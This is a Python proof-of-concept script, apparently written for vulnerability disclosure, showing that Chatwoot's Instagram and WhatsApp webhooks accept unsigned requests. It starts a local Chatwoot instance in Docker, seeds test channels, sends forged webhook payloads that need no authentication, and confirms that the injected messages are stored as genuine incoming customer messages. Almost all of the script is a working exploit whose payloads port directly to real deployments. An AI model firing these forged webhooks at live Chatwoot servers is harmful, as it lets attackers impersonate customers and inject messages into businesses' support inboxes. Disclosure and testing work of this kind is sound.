PoC: Chatwoot Instagram & WhatsApp webhook signature bypass — unauthenticated message injection

poc_minimal.py

#!/usr/bin/env python3
"""
PoC: Chatwoot Instagram & WhatsApp webhook signature bypass — unauthenticated message injection.

Spins up Chatwoot via Docker, sends unsigned webhook payloads, and verifies
that attacker-crafted messages are stored in the database as legitimate
incoming customer messages.

Requires: Docker with compose v2, ports 3100/5433/6380 free.
Usage:    python3 poc_minimal.py [--keep]
"""

import json, os, secrets, subprocess, sys, textwrap, time, urllib.request, urllib.error

RAILS_PORT = 3100
BASE_URL = f"http://localhost:{RAILS_PORT}"
WORK_DIR = "/tmp/chatwoot-poc"
IG_ID = "17841400123456789"
WA_PHONE = "+15551234567"
WA_PHONE_ID = "102938475834"

DOTENV = textwrap.dedent(f"""\
    SECRET_KEY_BASE=abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789
    FRONTEND_URL=http://0.0.0.0:{RAILS_PORT}
    REDIS_URL=redis://redis:6380
    REDIS_PASSWORD=chatwootredis
    POSTGRES_HOST=postgres
    POSTGRES_USERNAME=postgres
    POSTGRES_PASSWORD=chatwootpg
    RAILS_ENV=production
    RAILS_LOG_TO_STDOUT=true
    ENABLE_ACCOUNT_SIGNUP=true
    FORCE_SSL=false
""")

COMPOSE = textwrap.dedent(f"""\
    services:
      base: &base
        image: chatwoot/chatwoot:latest
        env_file: .env
        volumes: [storage:/app/storage]
      rails:
        <<: *base
        depends_on:
          postgres: {{condition: service_healthy}}
          redis: {{condition: service_healthy}}
        ports: ['{RAILS_PORT}:3000']
        environment: [NODE_ENV=production, RAILS_ENV=production, INSTALLATION_ENV=docker]
        entrypoint: docker/entrypoints/rails.sh
        command: [bundle, exec, rails, s, -p, '3000', -b, 0.0.0.0]
      sidekiq:
        <<: *base
        depends_on:
          postgres: {{condition: service_healthy}}
          redis: {{condition: service_healthy}}
        environment: [NODE_ENV=production, RAILS_ENV=production, INSTALLATION_ENV=docker]
        command: [bundle, exec, sidekiq, -C, config/sidekiq.yml]
      postgres:
        image: pgvector/pgvector:pg16
        ports: ['5433:5432']
        environment: [POSTGRES_DB=chatwoot_production, POSTGRES_USER=postgres, POSTGRES_PASSWORD=chatwootpg]
        healthcheck:
          test: [CMD-SHELL, pg_isready -U postgres]
          interval: 5s
          retries: 10
      redis:
        image: redis:alpine
        command: [sh, -c, 'redis-server --port 6380 --requirepass "$REDIS_PASSWORD"']
        env_file: .env
        ports: ['6380:6380']
        healthcheck:
          test: [CMD, redis-cli, -p, '6380', -a, chatwootredis, ping]
          interval: 5s
          retries: 10
    volumes:
      storage:
      postgres_data:
      redis_data:
""")

SETUP_SCRIPT = textwrap.dedent(f"""\
    a = Account.create!(name: "PoC")
    u = User.new(email: "a@test.local", password: "Password1!", name: "Admin", type: "SuperAdmin")
    u.skip_confirmation!; u.save!
    AccountUser.create!(account: a, user: u, role: :administrator)

    ig = Channel::Instagram.new(account: a, instagram_id: "{IG_ID}", access_token: "FAKE", expires_at: 1.year.from_now)
    ig.save(validate: true); ig_in = Inbox.create!(account: a, channel: ig, name: "IG"); ig.reauthorized!
    c1 = Contact.create!(account: a, name: "IG Contact")
    ci1 = ContactInbox.create!(contact: c1, inbox: ig_in, source_id: "9999999999")
    Conversation.create!(account: a, inbox: ig_in, contact: c1, contact_inbox: ci1)

    wa = Channel::Whatsapp.new(account: a, phone_number: "{WA_PHONE}", provider: "whatsapp_cloud",
      provider_config: {{"api_key"=>"x","phone_number_id"=>"{WA_PHONE_ID}","business_account_id"=>"x","webhook_verify_token"=>"x"}})
    wa.save(validate: false); wa_in = Inbox.create!(account: a, channel: wa, name: "WA"); wa.reauthorized!
    c2 = Contact.create!(account: a, name: "WA Contact", phone_number: "+15559876543")
    ci2 = ContactInbox.create!(contact: c2, inbox: wa_in, source_id: "15559876543")
    Conversation.create!(account: a, inbox: wa_in, contact: c2, contact_inbox: ci2)
    puts "OK"
""")


def sh(cmd, **kw):
    return subprocess.run(cmd, shell=True, cwd=WORK_DIR, capture_output=True, text=True, timeout=kw.get("timeout", 300), check=kw.get("check", True)).stdout.strip()

def compose(cmd, **kw): return sh(f"docker compose {cmd}", **kw)

def rails_run(script): return compose(f"exec -T rails bundle exec rails runner '{script.replace(chr(39), chr(39)+chr(92)+chr(39)+chr(39))}'")

def post(url, data):
    req = urllib.request.Request(url, json.dumps(data).encode(), {"Content-Type": "application/json"})
    try:
        with urllib.request.urlopen(req, timeout=10) as r: return r.status
    except urllib.error.HTTPError as e: return e.code

def wait_http(url, secs=180):
    end = time.time() + secs
    while time.time() < end:
        try:
            urllib.request.urlopen(urllib.request.Request(url, method="HEAD"), timeout=5); return True
        except Exception: time.sleep(3)
    return False


def main():
    keep = "--keep" in sys.argv
    os.makedirs(WORK_DIR, exist_ok=True)
    open(f"{WORK_DIR}/.env", "w").write(DOTENV)
    open(f"{WORK_DIR}/docker-compose.yaml", "w").write(COMPOSE)

    compose("down -v --remove-orphans", check=False)
    print("[*] Pulling images...")
    compose("pull", timeout=600)
    print("[*] Starting postgres & redis...")
    compose("up -d postgres redis")
    time.sleep(15)
    print("[*] Running DB migrations...")
    compose("run --rm rails bundle exec rails db:chatwoot_prepare", timeout=600)
    print("[*] Starting rails & sidekiq...")
    compose("up -d rails sidekiq")
    assert wait_http(f"{BASE_URL}/webhooks/instagram"), "Rails failed to start"
    print("[*] Setting up test channels...")
    rails_run(SETUP_SCRIPT)

    # --- Exploits ---
    ts = int(time.time())
    ig_mid = f"m_poc_{ts}_{secrets.token_hex(4)}"
    wa_mid = f"wamid.poc_{ts}_{secrets.token_hex(4)}"

    print(f"[*] Instagram injection (no auth)... ", end="")
    s1 = post(f"{BASE_URL}/webhooks/instagram", {
        "object": "instagram",
        "entry": [{"time": ts, "id": IG_ID, "messaging": [
            {"sender": {"id": "9999999999"}, "recipient": {"id": IG_ID}, "timestamp": ts,
             "message": {"mid": ig_mid, "text": "INJECTED via unsigned Instagram webhook"}}
        ]}]
    })
    print(f"HTTP {s1}")

    print(f"[*] WhatsApp injection (no auth)... ", end="")
    s2 = post(f"{BASE_URL}/webhooks/whatsapp/{urllib.request.quote(WA_PHONE)}", {
        "object": "whatsapp_business_account",
        "entry": [{"id": "X", "changes": [{"field": "messages", "value": {
            "messaging_product": "whatsapp",
            "metadata": {"display_phone_number": WA_PHONE.lstrip("+"), "phone_number_id": WA_PHONE_ID},
            "contacts": [{"wa_id": "15559876543", "profile": {"name": "WA Contact"}}],
            "messages": [{"from": "15559876543", "id": wa_mid, "timestamp": str(ts),
                          "type": "text", "text": {"body": "INJECTED via unsigned WhatsApp webhook"}}]
        }}]}]
    })
    print(f"HTTP {s2}")

    print("[*] Waiting for Sidekiq...")
    time.sleep(10)

    # --- Verify ---
    verify = f"""
ig = Message.find_by(source_id: "{ig_mid}")
wa = Message.find_by(source_id: "{wa_mid}")
puts({{ig: ig ? {{id: ig.id, content: ig.content, type: ig.message_type}} : nil,
       wa: wa ? {{id: wa.id, content: wa.content, type: wa.message_type}} : nil}}.to_json)
"""
    out = rails_run(verify)
    for line in out.splitlines():
        if line.strip().startswith("{"):
            r = json.loads(line.strip())
            break
    else:
        print(f"[!] Could not parse output:\n{out}")
        sys.exit(1)

    print("\n=== RESULTS ===")
    for name, data in [("Instagram", r["ig"]), ("WhatsApp", r["wa"])]:
        if data:
            print(f"  {name}: VULNERABLE — Message #{data['id']} stored as '{data['type']}': \"{data['content']}\"")
        else:
            print(f"  {name}: not exploitable (message not found in DB)")

    if not keep:
        compose("down -v --remove-orphans", check=False)
    else:
        print(f"\nContainers running. Teardown: cd {WORK_DIR} && docker compose down -v")

    ok = r["ig"] and r["wa"]
    print(f"\nVERDICT: {'BOTH CONFIRMED EXPLOITABLE' if ok else 'PARTIAL OR NO EXPLOITATION'}")
    return 0 if ok else 1

if __name__ == "__main__":
    sys.exit(main())